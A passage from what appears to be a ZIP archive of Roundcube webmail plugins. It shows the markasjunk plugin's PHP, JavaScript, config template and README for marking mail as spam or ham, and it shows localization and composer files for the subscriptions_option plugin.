$labels['buttonjunk'] = 'Αυτό το μήνυμα είναι ανεπιθύμητο';
$labels['asjunk'] = 'Ως ανεπιθύμητο';
$labels['markasjunk'] = 'Σημείωση ως ανεπιθύμητο';
$labels['buttonnotjunk'] = 'Αυτό το μήνυμα δεν είναι ανεπιθύμητο';
$labels['asnotjunk'] = 'Ως μη ανεπιθύμητο';
$labels['markasnotjunk'] = 'Σημείωση ως μη ανεπιθύμητο';
$labels['notjunk'] = 'Μη ανεπιθύμητο';
$messages['reportedasjunk'] = 'Αναφέρθηκε ως ανεπιθύμητο με επιτυχία';
$messages['reportedasnotjunk'] = 'Αναφέρθηκε ως μη Ανεπιθύμητο με επιτυχία';
PKh�\G��1�1!plugins/markasjunk/markasjunk.phpnu�[���<?php

/**
 * MarkAsJunk
 *
 * A plugin that adds a new button to the mailbox toolbar
 * to mark the selected messages as Junk and move them to the Junk folder
 * or to move messages in the Junk folder to the inbox - moving only the
 * attachment if it is a Spamassassin spam report email
 *
 * @author Philip Weir
 * @author Thomas Bruederli
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Philip Weir
 *
 * This program is a Roundcube (https://roundcube.net) plugin.
 * For more information see README.md.
 * For configuration see config.inc.php.dist.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with Roundcube. If not, see https://www.gnu.org/licenses/.
 */
class markasjunk extends rcube_plugin
{
    public $task = 'mail';

    private $rcube;
    private $spam_mbox;
    private $ham_mbox;
    private $driver;
    private $flags   = [
        'JUNK'    => 'Junk',
        'NONJUNK' => 'NonJunk'
    ];


    /**
     * Plugin initialization
     */
    public function init()
    {
        $this->register_action('plugin.markasjunk.junk', [$this, 'mark_message']);
        $this->register_action('plugin.markasjunk.not_junk', [$this, 'mark_message']);

        $this->rcube = rcube::get_instance();
        $this->load_config();
        $this->_load_host_config();

        // Host exceptions
        $hosts = $this->rcube->config->get('markasjunk_allowed_hosts');
        if (!empty($hosts) && !in_array($_SESSION['storage_host'], (array) $hosts)) {
            return;
        }

        $this->ham_mbox  = $this->rcube->config->get('markasjunk_ham_mbox', 'INBOX');
        $this->spam_mbox = $this->rcube->config->get('markasjunk_spam_mbox', $this->rcube->config->get('junk_mbox'));
        $toolbar         = $this->rcube->config->get('markasjunk_toolbar', true);
        $this->_init_flags();

        if ($this->rcube->action == '' || $this->rcube->action == 'show') {
            $this->include_script('markasjunk.js');
            $this->add_texts('localization', true);
            $this->include_stylesheet($this->local_skin_path() . '/markasjunk.css');

            if ($toolbar) {
                // add the buttons to the main toolbar
                $this->add_button([
                        'command'    => 'plugin.markasjunk.junk',
                        'type'       => 'link',
                        'class'      => 'button buttonPas junk disabled',
                        'classact'   => 'button junk',
                        'classsel'   => 'button junk pressed',
                        'title'      => 'markasjunk.buttonjunk',
                        'innerclass' => 'inner',
                        'label'      => 'junk'
                    ], 'toolbar');

                $this->add_button([
                        'command'    => 'plugin.markasjunk.not_junk',
                        'type'       => 'link',
                        'class'      => 'button buttonPas notjunk disabled',
                        'classact'   => 'button notjunk',
                        'classsel'   => 'button notjunk pressed',
                        'title'      => 'markasjunk.buttonnotjunk',
                        'innerclass' => 'inner',
                        'label'      => 'markasjunk.notjunk'
                    ], 'toolbar');
            }
            else {
                // add the buttons to the mark message menu
                $this->add_button([
                        'command'    => 'plugin.markasjunk.junk',
                        'type'       => 'link-menuitem',
                        'label'      => 'markasjunk.asjunk',
                        'id'         => 'markasjunk',
                        'class'      => 'icon junk disabled',
                        'classact'   => 'icon junk active',
                        'innerclass' => 'icon junk'
                    ], 'markmenu');

                $this->add_button([
                        'command'    => 'plugin.markasjunk.not_junk',
                        'type'       => 'link-menuitem',
                        'label'      => 'markasjunk.asnotjunk',
                        'id'         => 'markasnotjunk',
                        'class'      => 'icon notjunk disabled',
                        'classact'   => 'icon notjunk active',
                        'innerclass' => 'icon notjunk'
                    ], 'markmenu');
            }

            // add markasjunk folder settings to the env for JS
            $this->rcube->output->set_env('markasjunk_ham_mailbox', $this->ham_mbox);
            $this->rcube->output->set_env('markasjunk_spam_mailbox', $this->spam_mbox);
            $this->rcube->output->set_env('markasjunk_move_spam', $this->rcube->config->get('markasjunk_move_spam', false));
            $this->rcube->output->set_env('markasjunk_move_ham', $this->rcube->config->get('markasjunk_move_ham', false));
            $this->rcube->output->set_env('markasjunk_permanently_remove', $this->rcube->config->get('markasjunk_permanently_remove', false));
            $this->rcube->output->set_env('markasjunk_spam_only', $this->rcube->config->get('markasjunk_spam_only', false));
        }

        // init learning driver
        $this->_init_driver();
    }

    public function mark_message()
    {
        $this->add_texts('localization');

        $is_spam    = $this->rcube->action == 'plugin.markasjunk.junk';
        $uids       = rcube_utils::get_input_value('_uid', rcube_utils::INPUT_POST);
        $mbox_name  = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST);
        $messageset = rcmail::get_uids($uids, $mbox_name, $multifolder);
        $dest_mbox  = $is_spam ? $this->spam_mbox : $this->ham_mbox;

        // special case when select all is used, uid is '*', and not in multi folder mode and we are using a driver
        // rcmail::get_uids does not handle this
        if ($uids == '*' && !$multifolder && is_object($this->driver)) {
            $storage      = $this->rcube->get_storage();
            $result_index = $storage->index($mbox_name);
            $messageset   = [$mbox_name => $result_index->get()];
        }

        $result = $is_spam ? $this->_spam($messageset, $dest_mbox) : $this->_ham($messageset, $dest_mbox);
        if ($result) {
            if ($dest_mbox && ($mbox_name !== $dest_mbox || $multifolder)) {
                $this->rcube->output->command('markasjunk_move', $dest_mbox, $this->_messageset_to_uids($messageset, $multifolder));
            }
            else {
                $this->rcube->output->command('command', 'list', $mbox_name);
            }

            $this->rcube->output->command('display_message', $this->gettext($is_spam ? 'reportedasjunk' : 'reportedasnotjunk'), 'confirmation');
        }

        $this->rcube->output->send();
    }

    public function set_flags($p)
    {
        if (!empty($p['message_flags'])) {
            $p['message_flags'] = array_merge((array) $p['message_flags'], $this->flags);
        }
        else {
            $p['message_flags'] = $this->flags;
        }

        return $p;
    }

    private function _spam(&$messageset, $dest_mbox = null)
    {
        $storage = $this->rcube->get_storage();
        $result  = true;

        foreach ($messageset as $source_mbox => &$uids) {
            $storage->set_folder($source_mbox);

            $result = $this->_call_driver('spam', $uids, $source_mbox, $dest_mbox);

            // abort function of the driver says so
            if (!$result) {
                break;
            }

            if ($this->rcube->config->get('markasjunk_read_spam', false)) {
                $storage->set_flag($uids, 'SEEN', $source_mbox);
            }

            if (array_key_exists('JUNK', $this->flags)) {
                $storage->set_flag($uids, 'JUNK', $source_mbox);
            }

            if (array_key_exists('NONJUNK', $this->flags)) {
                $storage->unset_flag($uids, 'NONJUNK', $source_mbox);
            }
        }

        return $result;
    }

    private function _ham(&$messageset, $dest_mbox = null)
    {
        $storage = $this->rcube->get_storage();
        $result  = true;

        foreach ($messageset as $source_mbox => &$uids) {
            $storage->set_folder($source_mbox);

            $result = $this->_call_driver('ham', $uids, $source_mbox, $dest_mbox);

            // abort function of the driver says so
            if (!$result) {
                break;
            }

            if ($this->rcube->config->get('markasjunk_unread_ham', false)) {
                $storage->unset_flag($uids, 'SEEN', $source_mbox);
            }

            if (array_key_exists('JUNK', $this->flags)) {
                $storage->unset_flag($uids, 'JUNK', $source_mbox);
            }

            if (array_key_exists('NONJUNK', $this->flags)) {
                $storage->set_flag($uids, 'NONJUNK', $source_mbox);
            }
        }

        return $result;
    }

    private function _call_driver($action, &$uids = null, $source_mbox = null, $dest_mbox = null)
    {
        // already initialized
        if (!is_object($this->driver)) {
            return true;
        }

        if ($action == 'spam') {
            $this->driver->spam($uids, $source_mbox, $dest_mbox);
        }
        elseif ($action == 'ham') {
            $this->driver->ham($uids, $source_mbox, $dest_mbox);
        }

        return empty($this->driver->is_error);
    }

    private function _messageset_to_uids($messageset, $multifolder)
    {
        $a_uids = [];

        foreach ($messageset as $mbox => $uids) {
            if (is_array($uids)) {
                foreach ($uids as $uid) {
                    $a_uids[] = $multifolder ? $uid . '-' . $mbox : $uid;
                }
            }
        }

        return $a_uids;
    }

    private function _load_host_config()
    {
        $configs = $this->rcube->config->get('markasjunk_host_config');
        if (empty($configs) || !array_key_exists($_SESSION['storage_host'], (array) $configs)) {
            return;
        }

        $file = $configs[$_SESSION['storage_host']];
        $this->load_config($file);
    }

    private function _init_flags()
    {
        $spam_flag = $this->rcube->config->get('markasjunk_spam_flag');
        $ham_flag  = $this->rcube->config->get('markasjunk_ham_flag');

        if ($spam_flag === false) {
            unset($this->flags['JUNK']);
        }
        elseif (!empty($spam_flag)) {
            $this->flags['JUNK'] = $spam_flag;
        }

        if ($ham_flag === false) {
            unset($this->flags['NONJUNK']);
        }
        elseif (!empty($ham_flag)) {
            $this->flags['NONJUNK'] = $ham_flag;
        }

        if (count($this->flags) > 0) {
            // register the ham/spam flags with the core
            $this->add_hook('storage_init', [$this, 'set_flags']);
        }
    }

    private function _init_driver()
    {
        $driver_name = $this->rcube->config->get('markasjunk_learning_driver');

        if (empty($driver_name)) {
            return;
        }

        $driver = $this->home . "/drivers/$driver_name.php";
        $class  = "markasjunk_$driver_name";

        if (!is_readable($driver)) {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "markasjunk plugin: Unable to open driver file $driver"
                ], true, false
            );
        }

        include_once $driver;

        if (!class_exists($class, false) || !method_exists($class, 'spam') || !method_exists($class, 'ham')) {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "markasjunk plugin: Broken driver: $driver"
                ], true, false
            );
        }

        // call the relevant function from the driver
        $this->driver = new $class();

        // method_exists check here for backwards compatibility
        if (method_exists($this->driver, 'init')) {
            $this->driver->init();
        }
    }
}
PKh�\#3J#�� plugins/markasjunk/markasjunk.jsnu�[���/**
 * Mark-as-Junk plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 * Copyright (C) Philip Weir
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

rcube_webmail.prototype.markasjunk_mark = function(is_spam) {
    var uids = this.env.uid ? [this.env.uid] : this.message_list.get_selection();
    if (!uids)
        return;

    var lock = this.set_busy(true, 'loading');
    this.http_post('plugin.markasjunk.' + (is_spam ? 'junk' : 'not_junk'), this.selection_post_data({_uid: uids}), lock);
}

rcube_webmail.prototype.markasjunk_move = function(mbox, uids) {
    var prev_uid = this.env.uid;

    if (this.message_list && uids.length == 1 && !this.message_list.in_selection(uids[0]))
        this.env.uid = uids[0];

    if (mbox)
        this.move_messages(mbox);
    else if (this.env.markasjunk_permanently_remove == true)
        this.permanently_remove_messages();
    else
        this.delete_messages();

    this.env.uid = prev_uid;
}

rcube_webmail.prototype.markasjunk_toggle_button = function() {
    var spamobj = $('a.junk'),
        hamobj = $('a.notjunk'),
        disp = {spam: true, ham: true};

    if (this.env.markasjunk_spam_only) {
        disp.ham = false;
    }
    else if (!this.is_multifolder_listing() && this.env.markasjunk_spam_mailbox) {
        if (this.env.mailbox != this.env.markasjunk_spam_mailbox)
            disp.ham = false;
        else
            disp.spam = false;
    }

    // if only 1 button is visible make sure its the last one (for styling)
    // allow for multiple instances of the buttons, eg toolbar and contextmenu
    $.each(spamobj, function(i) {
        var cur_spamobj = spamobj.eq(i),
            cur_hamobj = hamobj.eq(i),
            cur_index = spamobj.eq(i).index();

        if (cur_spamobj.parent('li').length > 0) {
            cur_spamobj = cur_spamobj.parent();
            cur_hamobj = cur_hamobj.parent();
        }

        var evt_rtn = rcmail.triggerEvent('markasjunk-update', {objs: {spamobj: cur_spamobj, hamobj: cur_hamobj}, disp: disp});
        if (evt_rtn && evt_rtn.abort)
            return;

        disp = evt_rtn ? evt_rtn.disp : disp;

        disp.spam ? cur_spamobj.show() : cur_spamobj.hide();
        disp.ham ? cur_hamobj.show() : cur_hamobj.hide();

        if (disp.spam && !disp.ham) {
            if (cur_index < cur_hamobj.index()) {
                cur_spamobj.insertAfter(cur_hamobj);
            }
        }
        else if (cur_index > cur_hamobj.index()) {
            cur_hamobj.insertAfter(cur_spamobj);
        }
    });
}

rcube_webmail.prototype.markasjunk_is_spam_mbox = function() {
    return !this.is_multifolder_listing() && this.env.mailbox == this.env.markasjunk_spam_mailbox;
}

if (window.rcmail) {
    rcmail.addEventListener('init', function() {
        // register command (directly enable in message view mode)
        rcmail.register_command('plugin.markasjunk.junk', function() { rcmail.markasjunk_mark(true); }, !rcmail.markasjunk_is_spam_mbox() && rcmail.env.uid);
        rcmail.register_command('plugin.markasjunk.not_junk', function() { rcmail.markasjunk_mark(false); }, rcmail.env.uid);

        if (rcmail.message_list) {
            rcmail.message_list.addEventListener('select', function(list) {
                rcmail.enable_command('plugin.markasjunk.junk', !rcmail.markasjunk_is_spam_mbox() && list.get_selection(false).length > 0);
                rcmail.enable_command('plugin.markasjunk.not_junk', list.get_selection(false).length > 0);
            });
        }

        // make sure the correct icon is displayed even when there is no listupdate event
        rcmail.markasjunk_toggle_button();
    });

    rcmail.addEventListener('listupdate', function() { rcmail.markasjunk_toggle_button(); });

    rcmail.addEventListener('beforemove', function(mbox) {
        if (mbox && typeof mbox === 'object') {
            mbox = mbox.id;
        }

        if (!mbox) {
            return;
        }

        var is_spam = null;

        // check if destination mbox equals junk box (and we're not already in the junk box)
        if (rcmail.env.markasjunk_move_spam && mbox == rcmail.env.markasjunk_spam_mailbox && mbox != rcmail.env.mailbox)
            is_spam = true;
        // or if destination mbox equals ham box and we are in the junk box
        else if (rcmail.env.markasjunk_move_ham && mbox == rcmail.env.markasjunk_ham_mailbox && rcmail.env.mailbox == rcmail.env.markasjunk_spam_mailbox)
            is_spam = false;

        if (is_spam !== null) {
            rcmail.markasjunk_mark(is_spam);
            return false;
        }
    });
}
PKh�\����� � &plugins/markasjunk/config.inc.php.distnu�[���<?php

// Learning driver
// Use an external process such as sa-learn to learn from spam/ham messages. Default: null.
// Please see the README for more information
$config['markasjunk_learning_driver'] = null;

// Ham mailbox
// Mailbox messages should be moved to when they are marked as ham. null = INBOX
// set to FALSE to disable message moving
$config['markasjunk_ham_mbox'] = null;

// Spam mailbox
// Mailbox messages should be moved to when they are marked as spam.
// null = the mailbox assigned as the spam folder in Roundcube settings
// set to FALSE to disable message moving
$config['markasjunk_spam_mbox'] = null;

// Mark messages as read when reporting them as spam
$config['markasjunk_read_spam'] = false;

// Mark messages as unread when reporting them as ham
$config['markasjunk_unread_ham'] = false;

// Add flag to messages marked as spam (flag will be removed when marking as ham)
// If you do not want to use message flags set this to false
$config['markasjunk_spam_flag'] = 'Junk';

// Add flag to messages marked as ham (flag will be removed when marking as spam)
// If you do not want to use message flags set this to false
$config['markasjunk_ham_flag'] = 'NonJunk';

// Write output from spam/ham commands to the log for debug
$config['markasjunk_debug'] = false;

// The mark as spam/ham icon can either be displayed on the toolbar or as part of the mark messages menu.
// Set to False to use Mark menu instead of the toolbar. Default: true.
$config['markasjunk_toolbar'] = true;

// Learn any message moved to the spam mailbox as spam (not just when the button is pressed)
$config['markasjunk_move_spam'] = false;

// Learn any message moved from the spam mailbox to the ham mailbox as ham (not just when the button is pressed)
$config['markasjunk_move_ham'] = false;

// Some drivers create new copies of the target message(s), in this case the original message(s) will be deleted
// Rather than deleting the message(s) (moving to Trash) setting this option true will cause the original message(s) to be permanently removed
$config['markasjunk_permanently_remove'] = false;

// Display only a mark as spam button
$config['markasjunk_spam_only'] = false;

// Activate markasjunk for selected mail hosts only. If this is not set all mail hosts are allowed.
// Example: $config['markasjunk_allowed_hosts'] = ['mail1.domain.tld', 'mail2.domain.tld'];
$config['markasjunk_allowed_hosts'] = null;

// Load specific config for different mail hosts
// Example: $config['markasjunk_host_config'] = [
//    'mail1.domain.tld' => 'mail1_config.inc.php',
//    'mail2.domain.tld' => 'mail2_config.inc.php',
// ];
$config['markasjunk_host_config'] = null;

// cmd_learn Driver options
// ------------------------
// The command used to learn that a message is spam
// The command can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %i is replaced with the email address from the user's default identity
//      %s is replaced with the email address the message is from
//      %f is replaced with the path to the message file
//      %h:<header name> is replaced with the content of that header from the message (lower case) eg: %h:x-dspam-signature
// If you do not want to run the command set this to null
$config['markasjunk_spam_cmd'] = null;

// The command used to learn that a message is ham
// The command can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %i is replaced with the email address from the user's default identity
//      %s is replaced with the email address the message is from
//      %f is replaced with the path to the message file
//      %h:<header name> is replaced with the content of that header from the message (lower case) eg: %h:x-dspam-signature
// If you do not want to run the command set this to null
$config['markasjunk_ham_cmd'] = null;

// dir_learn Driver options
// ------------------------
// The full path of the directory used to store spam (must be writable by webserver)
$config['markasjunk_spam_dir'] = null;

// The full path of the directory used to store ham (must be writable by webserver)
$config['markasjunk_ham_dir'] = null;

// The filename prefix
// The filename can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %t is replaced with the type of message (spam/ham)
$config['markasjunk_filename'] = null;

// email_learn Driver options
// --------------------------
// The email address that spam messages will be sent to
// The address can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %i is replaced with the email address from the user's default identity
// If you do not want to send an email set this to null
$config['markasjunk_email_spam'] = null;

// The email address that ham messages will be sent to
// The address can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %i is replaced with the email address from the user's default identity
// If you do not want to send an email set this to null
$config['markasjunk_email_ham'] = null;

// Should the spam/ham message be sent as an attachment
$config['markasjunk_email_attach'] = true;

// The email subject (when sending as attachment)
// The subject can contain the following macros that will be expanded as follows:
//      %u is replaced with the username (from the session info)
//      %l is replaced with the local part of the username (if the username is an email address)
//      %d is replaced with the domain part of the username (if the username is an email address or default mail domain if not)
//      %t is replaced with the type of message (spam/ham)
$config['markasjunk_email_subject'] = 'learn this message as %t';

// sa_blacklist Driver options
// ---------------------------
// Path to SAUserPrefs config file
$config['markasjunk_sauserprefs_config'] = '../sauserprefs/config.inc.php';

// amavis_blacklist Driver options
// ---------------------------
// Path to amacube config file
$config['markasjunk_amacube_config'] = '../amacube/config.inc.php';

// edit_headers Driver options
// ---------------------------
// Patterns to match and replace headers for spam messages
// Replacement method uses preg_replace - http://www.php.net/manual/function.preg-replace.php
// WARNING: Be sure to match the entire header line, including the name of the header, also use ^ and $ and the 'm' flag
// see the README for an example
// TEST CAREFULLY BEFORE USE ON REAL MESSAGES
$config['markasjunk_spam_patterns'] = [
    'patterns'     => [],
    'replacements' => []
];

// Patterns to match and replace headers for spam messages
// Replacement method uses preg_replace - http://www.php.net/manual/function.preg-replace.php
// WARNING: Be sure to match the entire header line, including the name of the header, also use ^ and $ and the 'm' flag
// see the README for an example
// TEST CAREFULLY BEFORE USE ON REAL MESSAGES
$config['markasjunk_ham_patterns'] = [
    'patterns'     => [],
    'replacements' => []
];
PKh�\�j-��$plugins/markasjunk/markasjunk.min.jsnu�[���/**
 * Mark-as-Junk plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 * Copyright (C) Philip Weir
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
rcube_webmail.prototype.markasjunk_mark=function(a){var n,e=this.env.uid?[this.env.uid]:this.message_list.get_selection();e&&(n=this.set_busy(!0,"loading"),this.http_post("plugin.markasjunk."+(a?"junk":"not_junk"),this.selection_post_data({_uid:e}),n))},rcube_webmail.prototype.markasjunk_move=function(a,n){var e=this.env.uid;this.message_list&&1==n.length&&!this.message_list.in_selection(n[0])&&(this.env.uid=n[0]),a?this.move_messages(a):1==this.env.markasjunk_permanently_remove?this.permanently_remove_messages():this.delete_messages(),this.env.uid=e},rcube_webmail.prototype.markasjunk_toggle_button=function(){var m=$("a.junk"),s=$("a.notjunk"),t={spam:!0,ham:!0};this.env.markasjunk_spam_only?t.ham=!1:!this.is_multifolder_listing()&&this.env.markasjunk_spam_mailbox&&(this.env.mailbox!=this.env.markasjunk_spam_mailbox?t.ham=!1:t.spam=!1),$.each(m,function(a){var n=m.eq(a),e=s.eq(a),a=m.eq(a).index(),i=(0<n.parent("li").length&&(n=n.parent(),e=e.parent()),rcmail.triggerEvent("markasjunk-update",{objs:{spamobj:n,hamobj:e},disp:t}));i&&i.abort||((t=i?i.disp:t).spam?n.show():n.hide(),t.ham?e.show():e.hide(),t.spam&&!t.ham?a<e.index()&&n.insertAfter(e):a>e.index()&&e.insertAfter(n))})},rcube_webmail.prototype.markasjunk_is_spam_mbox=function(){return!this.is_multifolder_listing()&&this.env.mailbox==this.env.markasjunk_spam_mailbox},window.rcmail&&(rcmail.addEventListener("init",function(){rcmail.register_command("plugin.markasjunk.junk",function(){rcmail.markasjunk_mark(!0)},!rcmail.markasjunk_is_spam_mbox()&&rcmail.env.uid),rcmail.register_command("plugin.markasjunk.not_junk",function(){rcmail.markasjunk_mark(!1)},rcmail.env.uid),rcmail.message_list&&rcmail.message_list.addEventListener("select",function(a){rcmail.enable_command("plugin.markasjunk.junk",!rcmail.markasjunk_is_spam_mbox()&&0<a.get_selection(!1).length),rcmail.enable_command("plugin.markasjunk.not_junk",0<a.get_selection(!1).length)}),rcmail.markasjunk_toggle_button()}),rcmail.addEventListener("listupdate",function(){rcmail.markasjunk_toggle_button()}),rcmail.addEventListener("beforemove",function(a){var n;if(a=a&&"object"==typeof a?a.id:a)return n=null,rcmail.env.markasjunk_move_spam&&a==rcmail.env.markasjunk_spam_mailbox&&a!=rcmail.env.mailbox?n=!0:rcmail.env.markasjunk_move_ham&&a==rcmail.env.markasjunk_ham_mailbox&&rcmail.env.mailbox==rcmail.env.markasjunk_spam_mailbox&&(n=!1),null!==n?(rcmail.markasjunk_mark(n),!1):void 0}));
PKh�\��_@plugins/markasjunk/README.mdnu�[���Roundcube Webmail MarkAsJunk Plugin
===================================
This plugin adds "mark as spam" or "mark as not spam" button to the message
menu.

When not in the Junk mailbox:
  Messages are moved into the Junk mailbox and marked as read

When in the Junk mailbox:
  The buttons are changed to "mark as not spam" or "this message is not spam"
  and the message is moved to the Inbox


License
-------

This plugin is released under the [GNU General Public License Version 3+][gpl].

Even if skins might contain some programming work, they are not considered
as a linked part of the plugin and therefore skins DO NOT fall under the
provisions of the GPL license. See the README file located in the core skins
folder for details on the skin license.


Configuration
-------------

The default config file is plugins/markasjunk/config.inc.php.dist
Rename this to plugins/markasjunk/config.inc.php

All config parameters are optional.


The Learning Driver
-------------------

The learning driver allows you to perform additional processing on each message
marked as spam/ham. A driver must contain a class named markasjunk_{driver
file name}. The class must contain 3 functions:

**spam:** This function should take 2 arguments: an array of UIDs of message(s)
being marked as spam, the name of the mailbox containing those messages

**ham:** This function should take 2 arguments: an array of UIDs of message(s)
being marked as ham, the name of the mailbox containing those messages

**init:** Optional, this function should take 0 arguments. eg: allows drivers
to add JS to the page to control which of the spam/ham options are displayed.
The `jsevents` driver is available to show how to use the JS events.

Several drivers are provided by default they are:

**cmd_learn:** This driver calls an external command (for example salearn) to
process the message

**dir_learn:** This driver places a copy of the message in a predefined folder,
for example to allow for processing later

**email_learn:** This driver emails the message either as an attachment or
directly to a set address. This driver requires Roundcube 1.4 or above.

**sa_blacklist:** This driver adds the sender address of a spam message to the
users blacklist (or whitelist of ham messages) Requires SAUserPrefs plugin

**amavis_blacklist:** This driver adds the sender address of a spam message to
the users blacklist (or whitelist of ham messages) Requires Amacube plugin.
Driver by Der-Jan

**sa_detach:** If the message is a Spamassassin spam report with the original
email attached then this is detached and saved in the Inbox, the spam report is
deleted

**edit_headers:** Edit the message headers. Headers are edited using
preg_replace.

**WARNING:** Be sure to match the entire header line, including the name of the
header, and include the ^ and $ and test carefully before use on real messages.
This driver alters the message source


Running multiple drivers
------------------------

**WARNING:** This is very dangerous please always test carefully. Run multiple
drivers at your own risk! It may be safer to create one driver that does
everything you want.

It is possible to run multiple drivers when marking a message as spam/ham. For
example running sa_blacklist followed by cmd_learn or edit_headers and
cmd_learn. An [example multi-driver][multidriver] is available. This is a
starting point only, it requires modification for individual cases.


Spam learning commands
----------------------

Spamassassin:

```sa-learn --spam --username=%u %f``` or
```sa-learn --spam --prefs-file=/var/mail/%d/%l/.spamassassin/user_prefs %f```


Ham learning commands
---------------------

Spamassassin:

```sa-learn --ham --username=%u %f``` or
```sa-learn --ham --prefs-file=/var/mail/%d/%l/.spamassassin/user_prefs %f```


edit_headers example config
---------------------------

**WARNING:** These are simple examples of how to configure the driver options,
use at your own risk

```php
$config['markasjunk_spam_patterns'] = array(
  'patterns'     => array('/^(Subject:\s*)(.*)$/m'),
  'replacements' => array('$1[SPAM] $2')
);
```

```php
$config['markasjunk_ham_patterns'] = array(
  'patterns'     => array('/^(Subject:\s*)\[SPAM\](.*)$/m'),
  'replacements' => array('$1$2')
);
```

[gpl]: https://www.gnu.org/licenses/gpl.html
[multidriver]: https://gist.github.com/johndoh/8173505
PKh�\��˺KK*plugins/subscriptions_option/composer.jsonnu�[���{
    "name": "roundcube/subscriptions_option",
    "type": "roundcube-plugin",
    "description": "A plugin which can enable or disable the use of imap subscriptions. It includes a toggle on the settings page under \"Server Settings\". The preference can also be locked.",
    "license": "GPL-3.0-or-later",
    "version": "1.4",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Ziba Scott",
            "email": "ziba@umich.edu",
            "role": "Developer"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\���]]3plugins/subscriptions_option/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = '使用 IMAP 订阅';
PKh�\���}}3plugins/subscriptions_option/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Выкарыстоўваць IMAP-падпіскі';
PKh�\|���ww3plugins/subscriptions_option/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Използвай IMAP абонаменти';
PKh�\򬁝aa3plugins/subscriptions_option/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Use IMAP Subscriptions';
PKh�\�-�aa3plugins/subscriptions_option/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

